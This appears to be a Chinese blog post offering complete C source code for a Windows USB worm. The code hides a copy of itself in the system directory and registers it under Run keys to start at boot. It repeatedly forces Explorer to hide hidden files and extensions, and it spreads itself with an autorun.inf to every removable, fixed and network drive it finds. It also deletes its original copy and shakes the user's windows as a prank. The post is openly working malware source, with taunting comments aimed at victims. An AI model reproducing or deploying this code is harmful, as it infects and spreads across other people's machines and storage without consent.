U盘小病毒测试

#include <windows.h>
#include <stdio.h>

void Del();		//自删除
int Ganran(int i);				// 感染模块
void WINAPI ScanDisk();		// 实时监控U盘
void WINAPI ScanRege();		// 实时修改注册表

void WINAPI Root();			// 你可以在这里添加一些恶搞代码 留来扩展用 声明为线程函数

char FileDirSystem[MAX_PATH];		// 源病毒体所在位置
char FileName[MAX_PATH]; // 用来保存 自身路径

  
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
	//
	// 让启动程序时的小漏斗马上消失
	GetInputState();
	PostThreadMessage(GetCurrentThreadId(),NULL,0,0);
	MSG	msg;
	GetMessage(&msg, NULL, NULL, NULL);
	//

	GetModuleFileName(NULL,FileName,MAX_PATH);
	GetSystemDirectory(FileDirSystem,MAX_PATH);
	strcat(FileDirSystem,"\\snss.exe");				
	if (strcmp(FileDirSystem,FileName))				 // 不在系统目录则进行感染
		Ganran(1);
	else
	{
		// 创建一条线程用于修改 显示隐藏系统文件、扩展名的选项 
		// 看你怎么找到我  嘿嘿
 		CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)ScanRege,NULL,NULL,NULL);

		// 创建一条线程用于实时监控U盘
		// 来一个U盘 就得带点东西走
		CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)ScanDisk,NULL,NULL,NULL);

		// 用线程来去完成自己DIY的功能吧 避免代码出了问题 影响整个程序的运行
		CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)Root,NULL,NULL,NULL);
	
		Sleep(999999999); // 主线程进入睡眠状态 累了 是该好好休息啦
		Sleep(999999999);
		Sleep(999999999); // 弄多几个 嘿嘿
		
	}
	return 0;
}

/********************************************************/
//  你想干什么都可以在这里添加代码 自己看着办哈
/********************************************************/
void WINAPI Root()
{
	do 
	{ 
		Sleep(10000); // 没事干 每隔10 秒 震动一下窗口 吓唬吓唬他们
		HWND ForeHandle=GetForegroundWindow(); 
		for(int i=0;i<15;i++)
		{
			RECT rc;
			GetWindowRect(ForeHandle,&rc);
			MoveWindow(ForeHandle,rc.left+8,rc.top+8,rc.right-rc.left,rc.bottom-rc.top,1);
			Sleep(40);
			MoveWindow(ForeHandle,rc.left,rc.top,rc.right-rc.left,rc.bottom-rc.top,1);
			Sleep(40);
			Beep(0x0fff,10);
		}
	} while (1);
}



/********************************************************/
//  感染模块
/********************************************************/
int Ganran(int i)
{
	if (i)   //  感染系统
	{
		

		CopyFile(FileName,FileDirSystem,FALSE);	// 覆盖性自复制至系统目录	
		MessageBox(NULL,"已经将程序复制到系统目录","测试",0);
		SetFileAttributes(FileDirSystem,FILE_ATTRIBUTE_HIDDEN);

		HKEY RegKey;
		 // 开机自启动
		RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
			0, KEY_ALL_ACCESS, &RegKey);
		RegSetValueEx(RegKey, "ctfmonn", 0, REG_SZ, (const BYTE *)&FileDirSystem, MAX_PATH);
		RegCloseKey(RegKey);

		RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
			0, KEY_ALL_ACCESS, &RegKey);
		RegSetValueEx(RegKey, "ctfmonn", 0, REG_SZ, (const BYTE *)&FileDirSystem, MAX_PATH);
		RegCloseKey(RegKey);

		ShellExecute(NULL,"open",FileDirSystem,0,0,SW_HIDE);   // 执行

		Del();	// 自残

		return 1;
	}
	else	// 感染U盘
	{
		strcat(FileName,"Test.exe");
		MessageBox(NULL,"已经将程序复制到U盘","测试",0);	
		FILE *fp;		
		if ((fp=fopen(FileName,"r"))!=NULL) // 检测病毒是否存在 避免重复感染
		{
			fclose(fp);
			return 1;
		}
		CopyFile(FileDirSystem,FileName,FALSE); // 将自身覆盖性复制到U盘
		SetFileAttributes(FileName,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_SYSTEM);

		FileName[2]='\0';
		strcat(FileName,"\\autorun.inf");
		if ((fp=fopen(FileName,"w+"))!=NULL)  // 写入autorun.inf文件
		{
	    	fputs("[AutoRun]\n",fp);
			fputs("OPEN=Test.exe\n",fp);
 			fputs("shell\open=打开(&O)\n",fp);
 			fputs("shell\open\Command=Test.exe\n",fp);
			fputs("shell\open\Default=1\n",fp);
			fputs("shell\explore=资源管理器(&X)\n",fp);
			fputs("shell\explore\Command=Test.exe",fp);
			fclose(fp);
			SetFileAttributes(FileName,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_SYSTEM);
		}
		else	// 无法写入则返回 要么有读锁,要么已经被免疫
			return 1;
	}
}

/********************************************************/
//  自删除功能   
/********************************************************/
void Del()
{
	FILE *fp;
	fp=fopen("C:\\system.bat","w+");
	fprintf(fp,"@echo off \n");
	fprintf(fp,":statr\nif not exist \"%s\" goto done\n",FileName);
	fprintf(fp,"del /f /q \"%s\" \n",FileName);
	fprintf(fp,"goto statr\n");
	fprintf(fp,":done\n");
	fprintf(fp,"del /f /q %%0\n");
	fclose(fp);
	ShellExecute(NULL,"open","C:\\system.bat",0,0,SW_HIDE);	
}

/********************************************************/
//  修改注册表   想找我 窗户都没有 更别说门了
/********************************************************/
void WINAPI ScanRege()		// 实时修改注册表
{
	HKEY RegKey;
	DWORD tmp1 = 1; // 扩展名 1隐藏  0显示
	DWORD tmp2 = 2;  //Hidden 2 隐藏   1 显示隐藏文件
	DWORD tmp0 = 0;  //ShowSuperHidden 0 隐藏  1显示

	do 
	{		
		RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL",
			0, KEY_ALL_ACCESS, &RegKey);
		RegSetValueEx(RegKey, "CheckedValue", 0, REG_DWORD, (const BYTE *)&tmp1, sizeof(tmp1));
		RegCloseKey( RegKey );
		
		RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced",
			0, KEY_ALL_ACCESS, &RegKey);
		RegSetValueEx(RegKey, "Hidden", 0, REG_DWORD, (const BYTE *)&tmp2, sizeof(tmp2));	
		RegSetValueEx(RegKey, "ShowSuperHidden", 0, REG_DWORD, (const BYTE *)&tmp0, sizeof(tmp0));
		RegSetValueEx(RegKey, "HideFileExt", 0, REG_DWORD, (const BYTE *)&tmp1, sizeof(tmp1));
		RegCloseKey( RegKey );
		Sleep(1000000); 
	} while (1);
}

/********************************************************/
//  实时监控U盘,发现U盘立即进行感染
/********************************************************/
void WINAPI ScanDisk()		// 实时监控U盘   USB 盯死你
{
	char szDriverName[MAX_PATH];
	do 
	{
		strcpy(szDriverName, "C:\\\0");
	
		Sleep(10000); // 每10秒监控一次  避免太消耗系统资源 
		for( szDriverName[0] = 'C'; szDriverName[0] < 'Z'; szDriverName[0]++ )
		{
			// 感染 移动磁盘、固定磁盘、网络磁盘  管你哪种类型的盘 只要可写 都有份 别急
			if( GetDriveType( szDriverName ) == DRIVE_REMOVABLE || GetDriveType( szDriverName ) == DRIVE_FIXED || GetDriveType( szDriverName ) == DRIVE_REMOTE) 
			{
				 strcpy(FileName,szDriverName);				 
				 Ganran(0); 
			}
		}

	} while (1);
		
}

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值